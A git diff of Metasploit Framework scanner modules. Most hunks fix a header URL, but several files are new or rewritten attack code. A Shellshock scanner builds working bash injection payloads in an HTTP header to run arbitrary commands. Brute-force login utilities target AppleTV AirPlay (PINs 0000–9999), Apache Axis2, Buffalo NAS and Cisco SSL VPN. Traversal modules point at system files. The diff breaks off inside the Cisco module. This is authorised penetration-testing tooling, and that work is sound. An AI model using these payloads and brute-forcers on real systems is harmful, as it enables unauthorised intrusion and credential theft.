Rex::Text.to_hex_ascii(self.banner.to_s) - print_status("#{rhost}:#{rport} - FTP Banner: '#{banner_sanitized}'") - report_service(:host => rhost, :port => rport, :name => "ftp", :info => banner_sanitized) - return true - else - print_error("#{rhost}:#{rport} - Did not get an FTP service banner") - return false - end - end - - def do_login(user=nil,pass=nil) - vprint_status("#{rhost}:#{rport} - Attempting FTP login for '#{user}':'#{pass}'") - this_attempt ||= {} - this_attempt[[user,pass]] ||= 0 - while this_attempt[[user,pass]] <= 3 - @ftp_sock = connect(true,false) unless @ftp_sock - begin - user_response = send_user(user, @ftp_sock) - if user_response !~ /^(331|2)/ - vprint_error("#{rhost}:#{rport} - The server rejected username: '#{user}'") - return :skip_user - end - pass_response = send_pass(pass, @ftp_sock) - if pass_response =~ /^2/ - print_good("#{rhost}:#{rport} - Successful FTP login for '#{user}':'#{pass}'") - @access = test_ftp_access(user) - ftp_quit - return :next_user - else - vprint_status("#{rhost}:#{rport} - Failed FTP login for '#{user}':'#{pass}'") - return :fail - end - rescue ::Rex::ConnectionError, EOFError, ::Errno::ECONNRESET => e - this_attempt[[user,pass]] += 1 - vprint_error "#{rhost}:#{rport} - Caught #{e.class}, reconnecting and retrying" - disconnect - @ftp_sock = nil + def anonymous_creds + anon_creds = [ ] + if datastore['RECORD_GUEST'] + ['IEUser@', 'User@', 'mozilla@example.com', 'chrome@example.com' ].each do |password| + anon_creds << Metasploit::Framework::Credential.new(public: 'anonymous', private: password) end end - return :connection_error + anon_creds end - def test_ftp_access(user) + def test_ftp_access(user,scanner) dir = Rex::Text.rand_text_alpha(8) - write_check = send_cmd(['MKD', dir], true) + write_check = scanner.send_cmd(['MKD', dir], true) if write_check and write_check =~ /^2/ - send_cmd(['RMD',dir], true) + scanner.send_cmd(['RMD',dir], true) print_status("#{rhost}:#{rport} - User '#{user}' has READ/WRITE access") - return :write + return 'Read/Write' else print_status("#{rhost}:#{rport} - User '#{user}' has READ access") - return :read + return 'Read-only' end end - def report_ftp_creds(user,pass,access) - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'ftp', - :user => user, - :pass => pass, - :type => "password#{access == :read ? "_ro" : "" }", - :source_type => "user_supplied", - :active => true - ) - end end diff --git a/modules/auxiliary/scanner/ftp/ftp_version.rb b/modules/auxiliary/scanner/ftp/ftp_version.rb index 43168dc182..e922b36249 100644 --- a/modules/auxiliary/scanner/ftp/ftp_version.rb +++ b/modules/auxiliary/scanner/ftp/ftp_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb b/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb index 5e2191961e..c29b0bb930 100644 --- a/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb +++ b/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -45,7 +45,7 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(21), OptString.new('TRAVERSAL', [ true, "String to traverse to the drive's root directory", "..\\..\\" ]), - OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini']) + OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'windows\\win.ini']) ], self.class) end diff --git a/modules/auxiliary/scanner/h323/h323_version.rb b/modules/auxiliary/scanner/h323/h323_version.rb index 2f06559fd6..56008ba45a 100644 --- a/modules/auxiliary/scanner/h323/h323_version.rb +++ b/modules/auxiliary/scanner/h323/h323_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb b/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb index 92bd68d1fe..ca9bd498f5 100644 --- a/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/adobe_xml_inject.rb b/modules/auxiliary/scanner/http/adobe_xml_inject.rb index d300099727..e801a16c18 100644 --- a/modules/auxiliary/scanner/http/adobe_xml_inject.rb +++ b/modules/auxiliary/scanner/http/adobe_xml_inject.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb b/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb index 408acf458a..b5d88ff665 100644 --- a/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb +++ b/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/apache_activemq_traversal.rb b/modules/auxiliary/scanner/http/apache_activemq_traversal.rb index 761d32eed3..fff6aa5d95 100644 --- a/modules/auxiliary/scanner/http/apache_activemq_traversal.rb +++ b/modules/auxiliary/scanner/http/apache_activemq_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(8161), - OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']), + OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']), OptInt.new('DEPTH', [false, 'Traversal depth if absolute is set to false', 4]) ], self.class) end diff --git a/modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb b/modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb new file mode 100644 index 0000000000..d0fe3e3dbe --- /dev/null +++ b/modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb @@ -0,0 +1,134 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache mod_cgi Bash Environment Variable RCE Scanner', + 'Description' => %q{ + This module exploits a code injection in specially crafted environment + variables in Bash, specifically targeting Apache mod_cgi scripts through + the HTTP_USER_AGENT variable by default. + + PROTIP: Use exploit/multi/handler with a PAYLOAD appropriate to your + CMD, set ExitOnSession false, run -j, and then run this module to create + sessions on vulnerable hosts. + + Note that this is not the recommended method for obtaining shells. + If you require sessions, please use the apache_mod_cgi_bash_env_exec + exploit module instead. + }, + 'Author' => [ + 'Stephane Chazelas', # Vulnerability discovery + 'wvu', # Metasploit module + 'lcamtuf' # CVE-2014-6278 + ], + 'References' => [ + ['CVE', '2014-6271'], + ['CVE', '2014-6278'], + ['OSVDB', '112004'], + ['EDB', '34765'], + ['URL', 'https://access.redhat.com/articles/1200223'], + ['URL', 'http://seclists.org/oss-sec/2014/q3/649'] + ], + 'DisclosureDate' => 'Sep 24 2014', + 'License' => MSF_LICENSE + )) + + register_options([ + OptString.new('TARGETURI', [true, 'Path to CGI script']), + OptString.new('METHOD', [true, 'HTTP method to use', 'GET']), + OptString.new('HEADER', [true, 'HTTP header to use', 'User-Agent']), + OptString.new('CMD', [true, 'Command to run (absolute paths required)', + '/usr/bin/id']), + OptEnum.new('CVE', [true, 'CVE to check/exploit', 'CVE-2014-6271', + ['CVE-2014-6271', 'CVE-2014-6278']]) + ], self.class) + end + + def check_host(ip) + res = req("echo #{marker}", datastore['CVE']) + + if res && res.body.include?(marker * 3) + report_vuln( + :host => ip, + :port => rport, + :name => self.name, + :refs => self.references + ) + return Exploit::CheckCode::Vulnerable + elsif res && res.code == 500 + injected_res_code = res.code + else + return Exploit::CheckCode::Safe + end + + res = send_request_cgi({ + 'method' => datastore['METHOD'], + 'uri' => normalize_uri(target_uri.path.to_s) + }) + + if res && injected_res_code == res.code + return Exploit::CheckCode::Unknown + elsif res && injected_res_code != res.code + return Exploit::CheckCode::Appears + end + + Exploit::CheckCode::Unknown + end + + def run_host(ip) + return unless check_host(ip) == Exploit::CheckCode::Vulnerable + + res = req(datastore['CMD'], datastore['CVE']) + + if res && res.body =~ /#{marker}(.+)#{marker}/m + print_good("#{peer} - #{$1}") + report_vuln( + :host => ip, + :port => rport, + :name => self.name, + :refs => self.references + ) + end + end + + def req(cmd, cve) + case cve + when 'CVE-2014-6271' + sploit = cve_2014_6271(cmd) + when 'CVE-2014-6278' + sploit = cve_2014_6278(cmd) + end + + send_request_cgi( + 'method' => datastore['METHOD'], + 'uri' => normalize_uri(target_uri.path), + 'headers' => { + datastore['HEADER'] => sploit + } + ) + end + + def cve_2014_6271(cmd) + %Q{() { :;};echo -e "\\r\\n#{marker}$(#{cmd})#{marker}"} + end + + def cve_2014_6278(cmd) + %Q{() { _; } >_[$($())] { echo -e "\\r\\n#{marker}$(#{cmd})#{marker}"; }} + end + + def marker + @marker ||= Rex::Text.rand_text_alphanumeric(rand(42) + 1) + end + +end diff --git a/modules/auxiliary/scanner/http/apache_userdir_enum.rb b/modules/auxiliary/scanner/http/apache_userdir_enum.rb index ec18950e25..5e953b465d 100644 --- a/modules/auxiliary/scanner/http/apache_userdir_enum.rb +++ b/modules/auxiliary/scanner/http/apache_userdir_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/appletv_login.rb b/modules/auxiliary/scanner/http/appletv_login.rb new file mode 100644 index 0000000000..3919691ef0 --- /dev/null +++ b/modules/auxiliary/scanner/http/appletv_login.rb @@ -0,0 +1,127 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'metasploit/framework/credential_collection' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'AppleTV AirPlay Login Utility', + 'Description' => %q( + This module attempts to authenticate to an AppleTV service with + the username, 'AirPlay'. The device has two different access control + modes: OnScreen and Password. The difference between the two is the + password in OnScreen mode is numeric-only and four digits long, which + means when this option is enabled, this option, the module will make + sure to cover all of them - from 0000 to 9999. The Password mode is + more complex, therefore the usual online bruteforce strategies apply. + ), + 'Author' => + [ + '0a29406d9794e4f9b30b3c5d6702c708', # Original + 'thelightcosine' # LoginScanner conversion help + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'http://nto.github.io/AirPlay.html'] + ], + 'DefaultOptions' => { + 'RPORT' => 7000, # AppleTV's server + 'STOP_ON_SUCCESS' => true # There's only one password with the same username + } + ) + + register_options( + [ + OptBool.new('Onscreen', [false, 'Enable if AppleTV is using the Onscreen access control', false]), + OptPath.new('PASS_FILE', [ + false, + 'File containing passwords, one per line', + File.join(Msf::Config.data_directory, 'wordlists', 'http_default_pass.txt') + ] + )], self.class) + + deregister_options( + 'USERNAME', 'USER_AS_PASS', 'DB_ALL_CREDS', 'DB_ALL_USERS', 'NTLM::SendLM', 'NTLM::SendNTLM', + 'NTLM::SendSPN', 'NTLM::UseLMKey', 'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2', + 'REMOVE_USERPASS_FILE', 'REMOVE_USER_FILE', 'DOMAIN' + ) + end + + def run_host(ip) + uri = "/stop" + if datastore['PASS_FILE'] && !datastore['PASS_FILE'].empty? + print_status("Attempting to login to #{uri} using password list") + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + username: 'AirPlay', + user_as_pass: datastore['USER_AS_PASS'], + ) + else + print_status("Attempting to login to #{uri} by 'Onscreen Code'") + cred_collection = LockCodeCollection.new + end + + scanner = Metasploit::Framework::LoginScanner::HTTP.new( + host: ip, + port: rport, + uri: "/stop", + proxies: datastore["PROXIES"], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 5, + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id, + service_name: 'airplay' + ) + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + invalidate_login(credential_data) + :abort + when Metasploit::Model::Login::Status::INCORRECT + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + invalidate_login(credential_data) + when Metasploit::Model::Login::Status::NO_AUTH_REQUIRED + print_brute :level => :error, :ip => ip, :msg => "NO AUTH REQUIRED: '#{result.credential}'" + break + end + end + end + + # This class is just a faster way of doing our LockCode enumeration. We could just stick this into + # a CredentialCollection, but since we have a pre-set range we iterate through, it is easier to do it + # at runtime. + class LockCodeCollection + + def each + (0..9999).each do |pass| + screen_code = Metasploit::Framework::Credential.new(public: 'AirPlay', private: pass.to_s.rjust(4, '0'), realm: nil, private_type: :password ) + yield screen_code + end + end + end +end + diff --git a/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb b/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb index 69fabe0493..78ee78a383 100644 --- a/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb +++ b/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/axis_local_file_include.rb b/modules/auxiliary/scanner/http/axis_local_file_include.rb index 114efe7a21..7783231060 100644 --- a/modules/auxiliary/scanner/http/axis_local_file_include.rb +++ b/modules/auxiliary/scanner/http/axis_local_file_include.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/axis_login.rb b/modules/auxiliary/scanner/http/axis_login.rb index dfda5560f7..523dde423e 100644 --- a/modules/auxiliary/scanner/http/axis_login.rb +++ b/modules/auxiliary/scanner/http/axis_login.rb @@ -1,11 +1,12 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' - +require 'metasploit/framework/login_scanner/axis2' +require 'metasploit/framework/credential_collection' class Metasploit3 < Msf::Auxiliary @@ -17,10 +18,12 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'Apache Axis2 v1.4.1 Brute Force Utility', - 'Description' => %q{This module attempts to login to an Apache Axis2 v1.4.1 - instance using username and password combindations indicated by the USER_FILE, - PASS_FILE, and USERPASS_FILE options. + 'Name' => 'Apache Axis2 Brute Force Utility', + 'Description' => %q{ + This module attempts to login to an Apache Axis2 instance using + username and password combindations indicated by the USER_FILE, + PASS_FILE, and USERPASS_FILE options. It has been verified to + work on at least versions 1.4.1 and 1.6.2. }, 'Author' => [ @@ -35,71 +38,87 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE ) - register_options( - [ Opt::RPORT(8080), - OptString.new('URI', [false, 'Path to the Apache Axis Administration page', '/axis2/axis2-admin/login']), + register_options( [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [false, 'Path to the Apache Axis Administration page', '/axis2/axis2-admin/login']), ], self.class) end + # For print_* methods def target_url "http://#{vhost}:#{rport}#{datastore['URI']}" end def run_host(ip) + uri = normalize_uri(target_uri.path) print_status("Verifying login exists at #{target_url}") begin - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => datastore['URI'] - }, 20) - rescue - print_error("The Axis2 login page does not exist at #{target_url}") + send_request_cgi({ + 'method' => 'GET', + 'uri' => uri + }, 20) + rescue => e + print_error("Failed to retrieve Axis2 login page at #{target_url}") + print_error("Error: #{e.class}: #{e}") return end print_status "#{target_url} - Apache Axis - Attempting authentication" - each_user_pass { |user, pass| - do_login(user, pass) - } + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + ) - end + cred_collection = prepend_db_passwords(cred_collection) - def do_login(user=nil,pass=nil) - post_data = "userName=#{Rex::Text.uri_encode(user.to_s)}&password=#{Rex::Text.uri_encode(pass.to_s)}&submit=+Login+" - vprint_status("#{target_url} - Apache Axis - Trying username:'#{user}' with password:'#{pass}'") + scanner = Metasploit::Framework::LoginScanner::Axis2.new( + host: ip, + port: rport, + uri: uri, + proxies: proxies, + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 5, + user_agent: datastore['UserAgent'], + vhost: datastore['VHOST'] + ) - begin - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => datastore['URI'], - 'data' => post_data, - }, 20) - - if (res and res.code == 200 and res.body.to_s.match(/upload/) != nil) - print_good("#{target_url} - Apache Axis - SUCCESSFUL login for '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? 'https' : 'http'), - :user => user, - :pass => pass, - :proof => "WEBAPP=\"Apache Axis\", VHOST=#{vhost}", - :source_type => "user_supplied", - :duplicate_ok => true, - :active => true - ) - - elsif(res and res.code == 200) - vprint_error("#{target_url} - Apache Axis - Failed to login as '#{user}'") - else - vprint_error("#{target_url} - Apache Axis - Unable to authenticate.") - return :abort + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end + invalidate_login(credential_data) + :abort + when Metasploit::Model::Login::Status::INCORRECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + end + invalidate_login(credential_data) end - - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - rescue ::Timeout::Error, ::Errno::EPIPE end + end + + + end diff --git a/modules/auxiliary/scanner/http/backup_file.rb b/modules/auxiliary/scanner/http/backup_file.rb index ad8862350f..3ac0d740bb 100644 --- a/modules/auxiliary/scanner/http/backup_file.rb +++ b/modules/auxiliary/scanner/http/backup_file.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb b/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb index 20e82d81d6..1f2932200a 100644 --- a/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb b/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb index e5c807f9c2..21e93ce9b1 100644 --- a/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb +++ b/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/blind_sql_query.rb b/modules/auxiliary/scanner/http/blind_sql_query.rb index a36f6ab465..4903073c2a 100644 --- a/modules/auxiliary/scanner/http/blind_sql_query.rb +++ b/modules/auxiliary/scanner/http/blind_sql_query.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/brute_dirs.rb b/modules/auxiliary/scanner/http/brute_dirs.rb index 309adab612..5ffdf2bbdf 100644 --- a/modules/auxiliary/scanner/http/brute_dirs.rb +++ b/modules/auxiliary/scanner/http/brute_dirs.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/buffalo_login.rb b/modules/auxiliary/scanner/http/buffalo_login.rb new file mode 100644 index 0000000000..0b5692b205 --- /dev/null +++ b/modules/auxiliary/scanner/http/buffalo_login.rb @@ -0,0 +1,72 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/buffalo' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + + def initialize + super( + 'Name' => 'Buffalo NAS Login Utility', + 'Description' => 'This module simply attempts to login to a Buffalo NAS instance using a specific user/pass. It is confirmed to work with 1.68', + 'Author' => [ 'Nicholas Starke <starke.nicholas[at]gmail.com>' ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(80) + ], self.class) + + deregister_options('RHOST') + end + + def run_host(ip) + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] + ) + + scanner = Metasploit::Framework::LoginScanner::Buffalo.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 10, + user_agent: datastore['UserAgent'], + vhost: datastore['VHOST'] + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: fullname, + workspace_id: myworkspace_id + ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + else + invalidate_login(credential_data) + print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})" + end + end + end +end diff --git a/modules/auxiliary/scanner/http/canon_wireless.rb b/modules/auxiliary/scanner/http/canon_wireless.rb index e5bb1da049..b9e1cdbf7b 100644 --- a/modules/auxiliary/scanner/http/canon_wireless.rb +++ b/modules/auxiliary/scanner/http/canon_wireless.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/cert.rb b/modules/auxiliary/scanner/http/cert.rb index 9e319ec0fb..972508d923 100644 --- a/modules/auxiliary/scanner/http/cert.rb +++ b/modules/auxiliary/scanner/http/cert.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/cisco_asa_asdm.rb b/modules/auxiliary/scanner/http/cisco_asa_asdm.rb index f60c22c38d..a5ea996e81 100644 --- a/modules/auxiliary/scanner/http/cisco_asa_asdm.rb +++ b/modules/auxiliary/scanner/http/cisco_asa_asdm.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/cisco_device_manager.rb b/modules/auxiliary/scanner/http/cisco_device_manager.rb index a191ae5e3e..55d0033399 100644 --- a/modules/auxiliary/scanner/http/cisco_device_manager.rb +++ b/modules/auxiliary/scanner/http/cisco_device_manager.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb b/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb index 3e7b03914f..0f45294816 100644 --- a/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb +++ b/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/cisco_ironport_enum.rb b/modules/auxiliary/scanner/http/cisco_ironport_enum.rb index 75c37b5f0b..e847117c01 100644 --- a/modules/auxiliary/scanner/http/cisco_ironport_enum.rb +++ b/modules/auxiliary/scanner/http/cisco_ironport_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/cisco_nac_manager_traversal.rb b/modules/auxiliary/scanner/http/cisco_nac_manager_traversal.rb index 248d2c4869..98ef4314ff 100644 --- a/modules/auxiliary/scanner/http/cisco_nac_manager_traversal.rb +++ b/modules/auxiliary/scanner/http/cisco_nac_manager_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb b/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb new file mode 100644 index 0000000000..415bb3e299 --- /dev/null +++ b/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb @@ -0,0 +1,227 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex/proto/http' +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Cisco SSL VPN Bruteforce Login Utility', + 'Description' => %{ + This module scans for Cisco SSL VPN web login portals and + performs login brute force to identify valid credentials. + }, + 'Author' => + [ + 'Jonathan Claudius <jclaudius[at]trustwave.com>' + ], + 'License' => MSF_LICENSE, + 'DefaultOptions' => + { + 'SSL' => true, + 'USERNAME' => 'cisco', + 'PASSWORD' => 'cisco' + } + )) + + register_options( + [ + Opt::RPORT(443), + OptString.new('GROUP', [false, "A specific VPN group to use", '']) + ], self.class) + end + + def run_host(ip) + unless check_conn? + vprint_error("#{peer} - Connection failed, Aborting...") + return false + end + + unless is_app_ssl_vpn? + vprint_error("#{peer} - Application does not appear to be Cisco SSL VPN. Module will not continue.") + return false + end + + vprint_good("#{peer} - Application appears to be Cisco SSL VPN. Module will continue.") + + groups = Set.new + if datastore['GROUP'].empty? + vprint_status("#{peer} - Attempt to Enumerate VPN Groups...") + groups = enumerate_vpn_groups + + if groups.empty? + vprint_warning("#{peer} - Unable to enumerate groups") + vprint_warning("#{peer} - Using the default group: DefaultWEBVPNGroup") + groups << "DefaultWEBVPNGroup" + else + vprint_good("#{peer} - Enumerated VPN Groups: #{groups.to_a.join(", ")}") + end + + else + groups << datastore['GROUP'] + end + groups << "" + + vprint_status("#{peer} - Starting login brute force...") + groups.each do |group| + each_user_pass do |user, pass| + do_login(user, pass, group) + end + end + end + + # Verify whether the connection is working or not + def check_conn? + begin + res = send_request_cgi('uri' => '/', 'method' => 'GET') + vprint_good("#{peer} - Server is responsive...") + rescue ::Rex::ConnectionRefused, + ::Rex::HostUnreachable, + ::Rex::ConnectionTimeout, + ::Rex::ConnectionError, + ::Errno::EPIPE + return + end + end + + def enumerate_vpn_groups + res = send_request_cgi( + 'uri' => '/+CSCOE+/logon.html', + 'method' => 'GET', + ) + + if res && + res.code == 302 + + res = send_request_cgi( + 